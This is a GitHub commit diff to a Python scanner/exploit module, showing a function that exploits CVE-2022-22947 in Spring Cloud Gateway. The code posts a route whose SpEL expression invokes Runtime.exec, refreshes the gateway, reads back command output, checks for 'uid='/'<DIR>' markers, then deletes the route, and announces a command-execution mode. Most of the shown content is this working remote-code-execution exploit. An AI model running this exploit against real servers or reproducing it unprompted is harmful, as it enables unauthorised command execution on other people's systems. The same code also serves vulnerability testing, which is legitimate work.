Skip to content

Commit 27f8230

Browse files
authored
Update vul.py
1 parent 60fddce commit 27f8230

File tree

1 file changed

+21
-30
lines changed

1 file changed

+21
-30
lines changed

inc/vul.py

Lines changed: 21 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -139,15 +139,6 @@ def CVE_2022_22947(url, proxies, header_new):
139139
headers1 = json.loads(str(JSON_handle(oldHeader_1, header_new)).replace("'", "\""))
140140
headers2 = json.loads(str(JSON_handle(oldHeader_2, header_new)).replace("'", "\""))
141141
vul_status = 0
142-
payload_linux = '''{\r
143-
"id": "hacktest",\r
144-
"filters": [{\r
145-
"name": "AddResponseHeader",\r
146-
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\\"id\\"}).getInputStream()))}"}\r
147-
}],\r
148-
"uri": "http://example.com",\r
149-
"order": 0\r
150-
}'''
151142

152143
payload_windows = '''{\r
153144
"id": "hacktest",\r
@@ -158,37 +149,37 @@ def CVE_2022_22947(url, proxies, header_new):
158149
"uri": "http://example.com",\r
159150
"order": 0\r
160151
}'''
161-
152+
payload_linux = payload_windows.replace('dir', 'id')
153+
162154
try:
163-
if vul_status == 0:
164-
cprint("[+] 正在发送Linux的Payload","green")
155+
cprint("[+] 正在发送Linux的Payload","green")
156+
requests.packages.urllib3.disable_warnings()
157+
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_linux, headers=headers1, json=json, timeout=10 ,verify=False, proxies=proxies)
158+
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
159+
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
160+
if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)):
161+
cprint("[+] Payload已经输出,回显结果如下:", "red")
162+
print('\n')
163+
print(re3.text)
164+
print('\n')
165+
print("[+] 执行命令模块(输入exit退出)")
166+
vul_status = 1
167+
else:
168+
cprint("[.] Linux的Payload没成功,清理缓存","green")
169+
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
170+
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
171+
cprint("[+] 正在发送Windows的Payload","green")
165172
requests.packages.urllib3.disable_warnings()
166-
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_linux, headers=headers1, json=json, timeout=10 ,verify=False, proxies=proxies)
173+
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_windows, headers=headers1, json=json, timeout=10 ,verify=False, proxies=proxies)
167174
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
168175
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
169-
if ('uid=' in str(re3.text)) and ('gid=' in str(re3.text)) and ('groups=' in str(re3.text)):
176+
if ('<DIR>' in str(re3.text)):
170177
cprint("[+] Payload已经输出,回显结果如下:", "red")
171178
print('\n')
172179
print(re3.text)
173180
print('\n')
174181
print("[+] 执行命令模块(输入exit退出)")
175182
vul_status = 1
176-
else:
177-
cprint("[.] Linux的Payload没成功,清理缓存","green")
178-
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
179-
re5 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
180-
cprint("[+] 正在发送Windows的Payload","green")
181-
requests.packages.urllib3.disable_warnings()
182-
re1 = requests.post(url=url + "actuator/gateway/routes/hacktest", data=payload_windows, headers=headers1, json=json, timeout=10 ,verify=False, proxies=proxies)
183-
re2 = requests.post(url=url + "actuator/gateway/refresh", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
184-
re3 = requests.get(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)
185-
if ('<DIR>' in str(re3.text)):
186-
cprint("[+] Payload已经输出,回显结果如下:", "red")
187-
print('\n')
188-
print(re3.text)
189-
print('\n')
190-
print("[+] 执行命令模块(输入exit退出)")
191-
vul_status = 1
192183
if vul_status == 0:
193184
cprint("[-] CVE-2022-22947漏洞不存在\n", "yellow")
194185
re4 = requests.delete(url=url + "actuator/gateway/routes/hacktest", headers=headers2, timeout=10 ,verify=False, proxies=proxies)

0 commit comments

Comments
 (0)